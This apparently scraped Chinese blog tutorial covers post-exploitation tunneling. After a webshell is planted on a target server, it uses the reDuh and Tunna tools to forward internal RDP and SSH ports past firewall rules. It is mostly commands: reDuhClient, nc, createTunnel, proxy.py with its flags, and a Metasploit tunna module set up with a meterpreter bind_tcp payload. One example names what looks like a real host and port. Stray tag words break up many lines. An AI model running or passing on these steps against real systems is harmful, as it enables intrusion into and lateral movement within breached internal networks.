1.1reDuhphp
下載地址:https://github.com/sensepost/reDuh java
1.reDuh使用條件python
(1)獲取目標服務器webshell,且能夠上傳reDuh服務端對應腳本文件。git
(2)知道目標服務器開放的內網端口,如遠程桌面的端口是3389。github
(3)目標服務器網絡作了端口策略限制,只容許外部訪問內網的80等特定端口。web
2. reDuh使用命令shell
(1)本地具有java環境,能夠使用pentestbox自帶java環境windows
java -jar reDuhClient.jar http://somesite.com/reDuh.aspx http or https port服務器
(2)本地鏈接1010端口網絡
nc -vv localhost 1010
(3)在java命令窗口執行
[createTunnel]1234:127.0.0.1:3389
(4)使用mstsc登陸127.0.0.1:1234
1.2Tunna
https://github.com/SECFORCE/Tunna
(1)鏈接3389
python proxy.py -u http://172.0.0.1/conn.aspx -l 1234 -r 3389 –v
經過查看網上相關文章,只見conn.jsp和conn.php實現端口轉發成功。
經過該方法訪問內網的其餘服務器,命令以下:
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -a 172.0.0.2 -r 3389
172.0.0.1是webshell所在服務器,172.0.0.2是內網訪問的服務器,3389爲遠程終端端口,有些服務器修改器默認端口爲其它端口。本地直接登陸遠程終端地址127.0.0.1:1234便可。參數含義以下:
-l 表示本地監聽的端口
-r 遠程要轉發的端口
-v 詳細模式
2.鏈接SSH
對於SSH服務須要添加-s參數,才能保證鏈接的時候不會中斷,執行命令:
python proxy.py -u http://218.4.45.152:8877/job/conn.aspx -l 1234 -r 22 -v –s
在本地使用ssh鏈接1234端口便可:
ssh localhost -p 1234
3.MSF利用tunna轉發
將tunna_exploit.rb拷貝到msf的modules/exploits/windows/misc目錄.
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 //注意這裏是指本地的公網IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit –j